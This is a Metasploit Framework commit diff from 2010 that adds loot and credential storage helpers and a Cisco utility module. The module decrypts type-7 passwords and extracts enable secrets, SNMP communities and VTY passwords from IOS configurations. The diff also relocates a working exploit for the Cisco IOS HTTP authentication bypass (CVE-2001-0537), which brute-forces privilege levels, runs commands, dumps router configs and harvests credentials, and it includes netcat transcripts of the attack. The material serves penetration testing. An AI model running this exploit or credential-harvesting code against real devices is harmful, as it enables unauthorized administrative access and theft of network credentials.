Swap some module locations, add loot and cred reporting

git-svn-id: file:///home/svn/framework3/trunk@11271 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
HD Moore 2010-12-10 05:47:33 +00:00
parent e18548387c
commit 26aca9d6ba
6 changed files with 350 additions and 142 deletions

View File

@ -50,7 +50,8 @@ class Config < Hash
'LogDirectory' => "logs",
'SessionLogDirectory' => "logs/sessions",
'PluginDirectory' => "plugins",
'DataDirectory' => "data"
'DataDirectory' => "data",
'LootDirectory' => "loot"
}
##
@ -114,6 +115,13 @@ class Config < Hash
def self.session_log_directory
self.new.session_log_directory
end
#
# Calls the instance method.
#
def self.loot_directory
self.new.loot_directory
end
#
# Calls the instance method.
@ -240,7 +248,14 @@ class Config < Hash
def session_log_directory
config_directory + FileSep + self['SessionLogDirectory']
end
#
# Returns the directory in which captured data will reside.
#
def loot_directory
config_directory + FileSep + self['LootDirectory']
end
#
# Returns the user-specific module base path
#
@ -276,6 +291,7 @@ class Config < Hash
FileUtils.mkdir_p(config_directory)
FileUtils.mkdir_p(log_directory)
FileUtils.mkdir_p(session_log_directory)
FileUtils.mkdir_p(loot_directory)
FileUtils.mkdir_p(user_module_directory)
FileUtils.mkdir_p(user_plugin_directory)
end

View File

@ -0,0 +1,113 @@
module Msf
###
#
# This module provides methods for working with Cisco equipment
#
###
module Auxiliary::Cisco
include Msf::Auxiliary::Report
def cisco_ios_decrypt7(inp)
xlat = [
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53,
0x55, 0x42
]
return nil if not inp[0,2] =~ /\d\d/
seed = nil
clear = ""
inp.scan(/../).each do |byte|
if not seed
seed = byte.to_i
next
end
byte = byte.to_i(16)
clear << [ byte ^ xlat[ seed ]].pack("C")
seed += 1
end
clear
end
def cisco_ios_config_eater(thost, tport, config)
#
# Create a template hash for cred reporting
#
cred_info = {
:host => thost,
:port => tport,
:user => "",
:pass => "",
:type => "",
:collect_type => "",
:active => true
}
store_loot("cisco.ios.config", "text/plain", thost, config.strip, "config.txt", "Cisco IOS Configuration")
config.each_line do |line|
case line
when /^\s*enable secret (\d+) (.*)/i
stype = $1.to_i
shash = $2.strip
if stype == 5
print_good("MD5 Encrypted Enable Password: #{shash}")
store_loot("cisco.ios.enable_hash", "text/plain", thost, shash, "enable_password_hash.txt", "Cisco IOS Enable Password Hash (MD5)")
end
if stype == 7
shash = cisco_decrypt7(shash) rescue shash
print_good("Decrypted Enable Password: #{shash}")
store_loot("cisco.ios.enable_pass", "text/plain", thost, shash, "enable_password.txt", "Cisco IOS Enable Password")
cred = cred_info.dup
cred[:pass] = shash
cred[:type] = "cisco_enable"
cred[:collect_type] = "cisco_enable"
store_cred(cred)
end
when /^\s*enable password (.*)/i
spass = $1.strip
print_good("Unencrypted Enable Password: #{spass}")
cred = cred_info.dup
cred[:pass] = spass
cred[:type] = "cisco_enable"
cred[:collect_type] = "cisco_enable"
store_cred(cred)
when /\s*snmp-server community ([^\s]+) (RO|RW)/i
stype = $2.strip
scomm = $1.strip
print_good("SNMP Community (#{stype}): #{scomm}")
cred = cred_info.dup
cred[:sname] = "snmp"
cred[:pass] = scomm
cred[:type] = "password"
cred[:collect_type] = "password"
cred[:proto] = "udp"
cred[:port] = 161
store_cred(cred)
when /\s*password ([^\s]+)/i
spass = $1.strip
print_good("Unencrypted VTY Password: #{spass}")
cred = cred_info.dup
cred[:pass] = spass
cred[:type] = "password"
cred[:collect_type] = "password"
store_cred(cred)
end
end
end
end
end

View File

@ -17,3 +17,4 @@ require 'msf/core/auxiliary/crawler'
require 'msf/core/auxiliary/commandshell'
require 'msf/core/auxiliary/login'
require 'msf/core/auxiliary/rservices'
require 'msf/core/auxiliary/cisco'

View File

@ -127,7 +127,129 @@ module Auxiliary::Report
opts = {:workspace => myworkspace}.merge(opts)
framework.db.report_web_vuln(opts)
end
def store_loot(ltype, ctype, host, data, filename=nil, info=nil)
if ! ::File.directory?(Msf::Config.loot_directory)
FileUtils.mkdir_p(Msf::Config.loot_directory)
end
# Allow either a session or host to be specified
if host.respond_to?('target_host')
thost = host.target_host
tpeer = host.tunnel_peer
if tpeer and (!thost or thost.empty?)
thost = tpeer.split(":")[0]
end
host = thost
end
ext = 'bin'
if filename
exts = filename.to_s.split('.')
if exts.length > 1 and exts[-1].length < 4
ext = exts[-1]
end
end
case ctype
when "text/plain"
ext = "txt"
end
name =
Time.now.strftime("%Y%m%d%H%M%S") + "_" +
myworkspace.name[0,16] + "_" + (host || 'unknown') + '_' +
ltype[0,16] + '_' + Rex::Text.rand_text_numeric(6) + '.' + ext
name.gsub!(/[^a-z0-9\.\_]+/i, '')
path = File.join(Msf::Config.loot_directory, name)
conf = {}
conf[:host] = host if host
conf[:type] = ltype
conf[:content_type] = ctype
conf[:path] = ::File.expand_path(path)
conf[:workspace] = myworkspace
conf[:name] = filename if filename
conf[:info] = info if info
print_status("Writing #{ltype} (#{ctype}) for #{host}: (#{filename} - #{info})...")
File.open(conf[:path], "wb") do |fd|
fd.write(data)
end
ret_path = conf[:path].dup
framework.db.report_loot(conf)
return ret_path
end
# Takes a credential from a script (shell or meterpreter), and
# sources it correctly to the originating user account. Note
# that if the user account is not already stored as a credential
# against that service, source_id will end up nil, and will
# appear as a self-sourced credential the next time credentials are
# sourced.
def store_cred(opts={})
if [opts[:port],opts[:sname]].compact.empty?
raise ArgumentError, "Missing option: :sname or :port"
end
cred_opts = opts
cred_opts = opts.merge(:workspace => myworkspace)
cred_host = myworkspace.hosts.find_by_address(cred_opts[:host])
unless opts[:port]
possible_services = myworkspace.services.find_all_by_host_id_and_name(cred_host[:id],cred_opts[:sname])
case possible_services.size
when 0
case cred_opts[:sname].downcase
when "smb"
cred_opts[:port] = 445
when "ssh"
cred_opts[:port] = 22
when "telnet"
cred_opts[:port] = 23
when "snmp"
cred_opts[:port] = 161
cred_opts[:proto] = "udp"
else
raise ArgumentError, "No matching :sname found to store this cred."
end
when 1
cred_opts[:port] = possible_services.first[:port]
else # SMB should prefer 445. Everyone else, just take the first hit.
if (cred_opts[:sname].downcase == "smb") && possible_services.map {|x| x[:port]}.include?(445)
cred_opts[:port] = 445
elsif (cred_opts[:sname].downcase == "ssh") && possible_services.map {|x| x[:port]}.include?(22)
cred_opts[:port] = 22
else
cred_opts[:port] = possible_services.first[:port]
end
end
end
if opts[:collect_user]
cred_service = cred_host.services.find_by_host_id(cred_host[:id])
myworkspace.creds.sort {|a,b| a.created_at.to_f}.each do |cred|
if(cred.user.downcase == opts[:collect_user].downcase &&
cred.pass == opts[:collect_pass]
)
cred_opts[:source_id] ||= cred.id
cred_opts[:source_type] ||= cred_opts[:collect_type]
break
end
end
end
if opts[:collect_session]
exploit = myworkspace.exploited_hosts.find_by_session_uuid(opts[:collect_session])
if !exploit.nil?
cred_opts[:source_id] = exploit.id
cred_opts[:source_type] = "exploit"
else
# This session isn't in exploited_hosts, so can't attribute.
end
end
print_status "Collecting #{cred_opts[:user]}:#{cred_opts[:pass]}"
framework.db.report_auth_info(cred_opts)
end
end
end

View File

@ -1,139 +0,0 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco IOS HTTP Unauthorized Administrative Access',
'Description' => %q{
This module exploits a vulnerability in the Cisco IOS HTTP Server.
By sending a GET request for "/level/num/exec/..", where num is between
16 and 99, it is possible to bypass authentication and obtain full system
control. IOS 11.3 -> 12.2 are reportedly vulnerable. This module
tested successfully against a Cisco 1600 Router IOS v11.3(11d).
},
'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'BID', '2936'],
[ 'CVE', '2001-0537'],
[ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20010627-ios-http-level.shtml'],
[ 'OSVDB', '578' ],
],
'DisclosureDate' => 'Jun 27 2001'))
register_options(
[
Opt::RPORT(80),
OptString.new('CMD', [ true, "Cisco IOS command", 'show start' ])
], self.class)
end
def run
print_status("Looking for a vulnerable privilege level...")
16.upto(99) do | level |
connect
sploit = "GET /level/" + level.to_s + "/exec/show%20privilege HTTP/1.0\r\n\r\n"
sock.put(sploit)
result = sock.get(-1, 3)
disconnect
if (result =~ /Current privilege level is/)
print_status("Found vulnerable privilege level: " + level.to_s)
xCMD = Rex::Text.uri_encode(datastore['CMD'], 'hex-normal')
print_status("Sending your encoded command: " + xCMD)
connect
sploit = "GET /level/" + level.to_s + "/exec/" + xCMD + " HTTP/1.0\r\n\r\n"
sock.put(sploit)
result = sock.get(-1, 3)
print_status(result.to_s)
disconnect
break
end
end
end
end
=begin
Patrick Webster 20070922 Cisco 1600 Router IOS v11.3(11d).
IOS info:
IOS (tm) 1600 Software (C1600-Y-L), Version 11.3(11d), RELEASE SOFTWARE (fc1)
Copyright (c) 1986-2003 by cisco Systems, Inc.
Compiled Tue 22-Jul-03 17:00 by eaarmas
Example Exploit:
patrick@aushack ~
$ nc 172.16.32.2 80
GET /level/15/exec/show%20start HTTP/1.0
HTTP/1.0 401 Unauthorized
Date: Mon, 01 Mar 1993 00:20:41 UTC
Content-type: text/html
Expires: Thu, 16 Feb 1989 00:00:00 GMT
WWW-Authenticate: Basic realm="level 15 access"
<HEAD><TITLE>Authorization Required</TITLE></HEAD><BODY><H1>Authorization Requir
ed</H1>Browser not authentication-capable or authentication failed.</BODY>
patrick@aushack ~
$ nc 172.16.32.2 80
GET /level/16/exec/show%20start HTTP/1.0
HTTP/1.0 200 OK
Date: Mon, 01 Mar 1993 00:21:31 UTC
Server: cisco-IOS/11.3 HTTP-server/1.0(1)
Content-type: text/html
Expires: Thu, 16 Feb 1989 00:00:00 GMT
<HTML><HEAD><TITLE>Router /level/16/exec/show start</TITLE></HEAD>
<BODY><H1>Router</H1><PRE><HR>
<FORM METHOD=POST ACTION="/level/16/exec/show start"><DL>
Using 653 out of 7506 bytes
!
version 11.1
no service udp-small-servers
no service tcp-small-servers
!
hostname Router
!
boot system flash c1600-y-l.113-11d.bin
boot system flash
enable secret 5 $1$nDn5$pcheGox3RoCdQNjfq5BHe1
enable password cisco
!
[snip]
=end

View File

@ -0,0 +1,95 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'rex/proto/http'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
# Exploit mixins should be called first
include Msf::Exploit::Remote::HttpClient
# Include Cisco utility methods
include Msf::Auxiliary::Cisco
# Scanner mixin should be near last
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Cisco IOS HTTP Unauthorized Administrative Access',
'Description' => %q{
This module exploits a vulnerability in the Cisco IOS HTTP Server.
By sending a GET request for "/level/num/exec/..", where num is between
16 and 99, it is possible to bypass authentication and obtain full system
control. IOS 11.3 -> 12.2 are reportedly vulnerable. This module
tested successfully against a Cisco 1600 Router IOS v11.3(11d).
},
'Author' => [ 'Patrick Webster <patrick[at]aushack.com>', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'BID', '2936'],
[ 'CVE', '2001-0537'],
[ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20010627-ios-http-level.shtml'],
[ 'OSVDB', '578' ],
],
'DisclosureDate' => 'Jun 27 2001'))
end
def run_host(ip)
16.upto(99) do |level|
res = send_request_cgi({
'uri' => "/level/#{level}/exec/show/version/CR",
'method' => 'GET'
}, 20)
if res and res.body and res.body =~ /Cisco Internetwork Operating System Software/
print_good("#{rhost}:#{rport} Found vulnerable privilege level: #{level}")
report_vuln(
:host => rhost,
:port => rport,
:name => 'IOS-HTTP-AUTH-BYPASS',
:info => "http://#{rhost}:#{rport}/level/#{level}/exec/show/version/CR",
:refs =>
[
[ 'BID', '2936'],
[ 'CVE', '2001-0537'],
[ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20010627-ios-http-level.shtml'],
[ 'OSVDB', '578' ],
]
)
res = send_request_cgi({
'uri' => "/level/#{level}/exec/show/config/CR",
'method' => 'GET'
}, 20)
if res and res.body and res.body =~ /<FORM METHOD([^\>]+)\>(.*)<\/FORM>/mi
config = $2.strip
print_good("#{rhost}:#{rport} Processing the configuration file...")
cisco_ios_config_eater(rhost, rport, config)
else
print_error("#{rhost}:#{rport} Error: could not retrieve the IOS configuration")
end
break
end
end
end
end